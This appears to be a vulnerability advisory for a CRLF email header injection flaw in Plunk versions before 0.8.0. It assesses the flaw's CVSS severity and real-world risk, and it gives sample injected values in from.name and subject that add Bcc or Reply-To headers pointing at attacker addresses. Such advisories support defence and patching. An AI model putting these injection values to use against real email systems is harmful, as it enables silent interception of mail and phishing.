Plunk EUVD-2026-19359

Authenticated API user with credentials to Plunk email platform versions prior to 0.8.0. Attacker manipulates from.name, subject, custom header keys/values, or attachment filenames with CRLF characters to inject arbitrary email headers (Bcc, Reply-To) into MIME messages sent via AWS SES.

The CVSS 8.5 HIGH severity is justified by the combination of network attack vector (AV:N), low attack complexity (AC:L), and scope change (S:C) indicating impacts beyond the vulnerable component. However, the prerequisite of low-privilege authentication (PR:L) substantially reduces real-world risk compared to unauthenticated vulnerabilities. The attack requires valid API credentials, limiting exploitation to authenticated platform users or scenarios where API keys are compromised. No EPSS probability score is available for this future-dated CVE identifier (2026), and no CISA KEV listing exists, indicating no confirmed active exploitation. The technical impact is confidentiality breach (C:H) through silent Bcc forwarding and integrity violation (I:L) via reply redirection/spoofing, but no availability impact (A:N). Exploitation is highly automatable once API access is obtained, as header injection requires simple CRLF embedding in API parameters. The primary risk scenario involves insider threats, compromised API credentials, or multi-tenant environments where authenticated users should not control email routing. For single-tenant deployments with trusted API users, residual risk is lower. The availability of a vendor patch in version 0.8.0 significantly reduces risk for organizations maintaining current versions.

An authenticated API user with low-level credentials to a multi-tenant Plunk deployment crafts API requests to send transactional emails, embedding CRLF sequences in the from.name field such as 'Legitimate Sender\r\nBcc: attacker@external.com\r\n'. When SESService.ts constructs the raw MIME message, the injected Bcc header silently forwards copies of all outbound emails to the attacker's address, exfiltrating sensitive customer communications without detection by email recipients or platform administrators. Alternatively, the attacker injects 'Subject: Invoice\r\nReply-To: phishing@attacker.com\r\n' to redirect replies to a phishing address, enabling business email compromise attacks against email recipients who reply to legitimate-appearing messages. The low attack complexity means exploitation requires only basic understanding of MIME header structure and authenticated API access, with no user interaction needed for successful injection.